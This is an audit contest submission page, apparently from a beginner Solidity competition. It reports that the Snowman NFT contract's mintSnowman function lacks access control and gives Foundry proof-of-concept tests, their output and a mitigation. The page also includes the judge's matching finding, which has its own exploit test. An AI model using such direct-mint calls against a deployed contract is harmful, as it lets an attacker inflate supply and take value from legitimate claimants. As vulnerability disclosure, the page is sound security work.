Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

Missing access control in Snowman::mintSnowman lets any address mint unlimited Snowman NFTs without staking Snow, making the entire Merkle airdrop worthless

Root cause: Snowman::mintSnowman has no access control. Impact: anyone mints unlimited Snowman NFTs for free, so the Merkle airdrop distributes nothing of value

Description

Snowman NFTs are meant to be created only by the SnowmanAirdrop contract inside claimSnowman, and only after the caller has proven eligibility with a Merkle proof, supplied a valid signature, and surrendered their Snow tokens to the airdrop. That staking path is the protocol's only intended way to obtain the NFT.

Snowman::mintSnowman is declared external with no access control whatsoever. Any address calls it directly and mints any number of NFTs to itself while holding zero Snow and without appearing in the Merkle tree, bypassing the proof check, the signature check and the staking step completely.

// src/Snowman.sol
@> function mintSnowman(address receiver, uint256 amount) external {
// no onlyOwner, no check that msg.sender == the airdrop contract
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}

That the guard was intended and simply forgotten is visible in the same file: Snowman inherits Ownable and sets an owner in the constructor that is then never used anywhere, and it declares error SM__NotAllowed(); which is never thrown.

Risk

Likelihood:

  • The function is unguarded from the moment the collection is deployed, so any address calls it in any block, with no precondition to satisfy and nothing to wait for.

  • It requires no Snow balance, no Merkle inclusion and no signature, so every address on the network qualifies permanently, for the whole life of the contract.

Impact:

  • The NFT supply is fully controlled by whoever calls the mint, so the airdrop hands out an asset anybody can create for free, and honest users who farmed Snow for weeks and burned it through the airdrop receive nothing scarce.

  • Token ids are consumed by whoever calls first, letting an attacker front run the real distribution and take the low ids, and no owner action stops or reverses it since the contract exposes no pause, no burn and no way to restrict minting.

Proof of Concept

Overview

An address that has never held a Snow token, is absent from the Merkle tree and has never signed anything calls Snowman::mintSnowman directly and receives 1000 NFTs. The entire eligibility mechanism is skipped, because the function never checks who is calling it.

Actors

  • Attacker: any externally owned account. Needs nothing at all: no Snow balance, no place in the Merkle snapshot, no signature, no approval.

  • Victim: the legitimate airdrop recipients from script/flakes/input.json, who farmed Snow across the 12 week FARMING_DURATION and must burn it through the airdrop to receive a Snowman that the attacker gets for free.

  • Protocol: Snowman (the ERC721 being minted) and SnowmanAirdrop, which is supposed to be the sole minter and is bypassed entirely.

Working test case

Add to the existing test suite and run with forge test --match-test test_H1_AnyoneCanMintUnlimitedSnowman -vv. It is deployed through the project's own Helper.s.sol, so nothing is mocked.

function test_H1_AnyoneCanMintUnlimitedSnowman() public {
// the attacker starts with no Snowman NFTs at all
assertEq(nft.balanceOf(attacker), 0);
// and, crucially, holds zero Snow: he never farmed, never bought,
// and is not one of the five addresses in the Merkle snapshot
assertEq(snow.balanceOf(attacker), 0, "attacker holds no Snow at all");
// the attacker calls the NFT contract directly, not the airdrop,
// so no Merkle proof and no signature are ever supplied
vm.prank(attacker);
nft.mintSnowman(attacker, 1000);
// the mint succeeds: 1000 NFTs are created out of thin air
assertEq(nft.balanceOf(attacker), 1000);
// and he still holds zero Snow, nothing was staked or burned for them
assertEq(snow.balanceOf(attacker), 0);
}

Output:

[PASS] test_H1_AnyoneCanMintUnlimitedSnowman() (gas: 33195132)
Logs:
attacker NFTs minted for free: 1000
attacker Snow spent: 0

Step by step

  • Initial state: Snowman is deployed by DeploySnowman.s.sol, SnowmanAirdrop holds the Merkle root committing to five eligible addresses with 1 Snow each, and s_TokenCounter is 0.

  • Step 1: The attacker calls Snowman::mintSnowman(attacker, 1000) directly. There is no modifier on the function, so execution enters the loop immediately.

  • Step 2: The loop runs _safeMint 1000 times, incrementing s_TokenCounter each pass. Token ids 0 through 999 are assigned to the attacker.

  • Outcome: The attacker owns 1000 Snowman NFTs, having spent nothing but gas, while the airdrop contract has distributed none.

  • Implications: The legitimate claimants find the low token ids already taken, and the collection they earned is one that anybody could have minted for free.

Independent confirmation by an invariant test

The property the README promises, that every Snowman is backed by Snow somebody staked, was written as an invariant and fuzzed with random call sequences over buySnow, earnSnow, mintSnowman, claims and transfers. Foundry broke it without being told what to look for, and shrank the counterexample to a single call:

[FAIL: NFTs exist that no one ever staked Snow for: 2 > 1]
[Sequence] (original: 11, shrunk: 1)
calldata=mintDirect(uint256,uint8) args=[7794910962570470856712132616826565, 6]

Recommended Mitigation

Restrict minting to the airdrop contract. The airdrop address is not known when Snowman is deployed, so add a one time owner guarded setter and gate the mint with the error that is already declared:

address private s_airdropContract;
function setAirdropContract(address _airdrop) external onlyOwner {
if (_airdrop == address(0)) revert SM__NotAllowed();
if (s_airdropContract != address(0)) revert SM__NotAllowed(); // one time only
s_airdropContract = _airdrop;
}
modifier onlyAirdrop() {
if (msg.sender != s_airdropContract) {
revert SM__NotAllowed();
}
_;
}
function mintSnowman(address receiver, uint256 amount) external onlyAirdrop {
for (uint256 i = 0; i < amount; i++) {
uint256 tokenId = s_TokenCounter;
s_TokenCounter++; // update state before the external call
_safeMint(receiver, tokenId);
emit SnowmanMinted(receiver, tokenId);
}
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Unrestricted NFT Minting in Snowman.sol

# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!